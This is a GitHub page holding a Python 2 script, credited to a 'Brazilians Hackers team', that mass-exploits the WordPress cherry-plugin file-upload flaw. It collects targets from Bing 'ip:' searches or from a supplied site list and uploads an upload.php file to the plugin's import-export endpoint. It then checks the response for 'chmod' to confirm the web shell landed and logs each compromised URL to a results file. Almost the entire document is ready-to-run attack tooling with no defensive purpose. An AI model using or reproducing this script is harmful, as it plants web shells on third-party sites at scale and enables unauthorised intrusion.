-
Notifications
You must be signed in to change notification settings - Fork 6
/
exploit_mass_cherry_plugin.py
143 lines (141 loc) · 5.37 KB
/
exploit_mass_cherry_plugin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# *** Brazilians Hackers team ***
# Exploit Mass cherry-plugin
import re , urllib2 , os , requests
from platform import system
if system() == 'Linux':
os.system('clear')
if system() == 'Windows':
os.system('cls')
site = []
filname = 'upload.php'
banner = '''
``;`
`,+@@@+
.+@@@@@@@;
`;@@@@@@@@@@@
+@@@@@@@@@@@@@:
;@@@@@@@@@@@@@@@@
`@@@@@@@@@@@@@@@@@@`
`@@@@@@@@@@@@@@@@@@#
.@@@@@@@@@@@@@@@@@@,
:@@@@@@@@@@@@@@@@@@ .'@@
#@@@@@@@@@@@@@@@@+; .+@@@@@
`@@@@@@@@@@@@@#;;+@+#@@@#:`
#@@@@@@@@@@';'@@@@@@@:`
`@@@@@@@+;;+@@@@@##`
.@@@#;;+@@@@@#+',.,'.
+;;'#@@@@#+;` ,:
.#@@@@#++: @. ...`
`'@@@@#++'. + .#++;;+ +
,@@@@@#++:``::+ `',:+,. ,
`@@@@#, #+` ',.`'. +` `` `, .+
@@:` ,+. ,`:``.: '. .',+++ #
`` #+`++,.`:,`` :`+@@'@@@@' ````
#'`#+:`.,`:` .@@@+@# +`. : `:
#:: +.`,.., `@@,#@':. + : '
#: ` ',:`,, @#`` + + ' `,;
#: ` `:''` @` #:.. , ' #+++:
#: , ;#'# + : `: #++
#; ' `'' , '.
;' ' # `@#
#.; ;` ,#.:;
`+; '. @ `
:#; `@: :` `,
.#+; `'+.' +
.@++#'+@+@++` ;@. '
`' ., ` #:`# `+.#+ :.
., : @#;.`;`: `#@.
+``,.;`@+,. '#
@' ' ;`@:+`#`;`
`#+ ,'`# :. '
' #. :`#` '`. +
# +. .:+: :`. .
`, +, ..+ '` :
;` #+@:,:#.;`` '
#'##:#+. : `; ;
#. #: `'` :
#, ` .
'''
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
print banner
def exploit(link):
try:
dirx = '/wp-content/plugins/cherry-plugin/admin/import-export/upload.php'
xxxxe = link + dirx
files={'file':(filname, open(filname,'rb'),'multipart/form-data')}
r = requests.post(xxxxe, files=files)
bb = filname
shelldir = '/wp-content/plugins/cherry-plugin/admin/import-export/'+bb
shelled = link + shelldir
openbing = urllib2.urlopen(shelled)
readbing = openbing.read()
if re.findall("chmod", readbing):
print ("[#]=> %s [ ok ]" % shelled)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/sites.txt", 'a') as neo:
neo.write("[#]--> %s [ ok ]" % shelled)
neo.write("\n")
except :
pass
def test(url):
try:
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("WordPress", readbing):
print " TESTANDO SITES ---> " + url
exploit(url)
else:
pass
except:
pass
def grabber(s):
global site
xxxx = []
page = 1
while page <= 101:
bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
xxxx.extend(findall1)
page = page + 10
final = unique(xxxx)
site.extend(final)
def main():
print "\r\n 1-\tPELO IP DO SERVIDOR\n 2-\tPELO SITE\n"
c = raw_input("ESCOLHA A OPCAO ?\n")
if c == '1':
ip = raw_input('[+] DIGITE IP DO SERVIDOR : ')
try:
print banner
grabber(str(ip))
for _site in site:
test(_site)
except:
pass
elif c == '2':
list = raw_input('[+] DIGITE LISTA DE SITES : ')
try:
file = open(list).readlines()
print banner
if (len(file) > 0):
for attack in file:
_attack = attack.rstrip()
test(_attack)
except:
pass
else:
pass
if __name__ == '__main__':
main()